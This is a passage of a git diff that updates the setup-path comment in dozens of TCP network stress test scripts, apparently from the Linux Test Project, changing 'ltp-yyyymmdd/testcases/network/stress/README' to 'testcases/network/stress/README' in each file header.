-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01
index 04fa2ef..9e8e0d6 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01
@@ -29,7 +29,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02
index fee4792..126f27a 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03
index 5c24bfd..609b69b 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04
index 722efef..94df737 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05
index ed22108..7e0bd05 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06
index e354194..9a7a750 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07
index bd9aec9..8a01cb4 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08
index f5a3f1f..4e5b4d3 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08
@@ -30,7 +30,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09
index 66db374..a8f81b1 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10
index aad2c39..58e0902 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10
@@ -31,7 +31,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11
index 9eeafaa..03e9bd5 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12
index a441c99..0e5b24b 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13
index 849d6f0..94365bb 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13
@@ -31,7 +31,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14 b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14
index 33f8808..fb3b1af 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01
index bd65a34..b72983b 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01
@@ -40,7 +40,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02
index 46524a9..c3aac43 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02
@@ -29,7 +29,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03
index 5e2f6da..e041fd8 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03
@@ -29,7 +29,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04
index 366c0eb..9673918 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05
index 462e2ed..d603b35 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06
index 4d941df..cbe7f00 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06
@@ -29,7 +29,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07
index d5c9bc2..a6ac67c 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07
@@ -29,7 +29,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08
index 05dc4ba..0fa00cd 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08
@@ -30,7 +30,7 @@
 #
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09
index 88f5497..a3abcd1 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10
index f3f6146..fd746fa 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11
index 5a7e9e7..813caf0 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12
index bb70e38..2618a80 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13
index 36e6a53..8e45994 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14 b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14
index 90fa6e6..afb8c96 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01
index 96c56f4..00e4421 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01
@@ -29,7 +29,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02
index af87998..af1cc32 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03
index d8085e2..097668d 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04
index 452f4ee..1569af2 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05
index e699281..dfd0e14 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06
index 2cd3d61..c17250e 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07
index 3ecddfc..ab57cdb 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08
index 066b9a1..212ea30 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08
@@ -30,7 +30,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09
index f51328f..00e22ff 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10
index 08c6df2..d22b7e4 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10
@@ -31,7 +31,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11
index 309a2bf..c26125b 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12
index 05df578..f7a8121 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13
index 102caca..2bb834e 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13
@@ -31,7 +31,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14 b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14
index 53628a6..90de004 100644
--- a/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14
+++ b/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01
index a6de0f4..d8e9da1 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01
@@ -40,7 +40,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02
index 04f3930..4de6c7c 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02
@@ -29,7 +29,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03
index 3ad738a..d38d094 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03
@@ -29,7 +29,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04
index 9eaa39a..e4ae445 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05
index 66e6202..a60c4d7 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06
index 725faf5..a6f32e4 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06
@@ -29,7 +29,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07
index a70372b..4c4256b 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07
@@ -29,7 +29,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08
index 622d889..4c226eb 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08
@@ -29,7 +29,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09 b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09
index dae0472..bac9fb6 100644
--- a/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09
+++ b/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
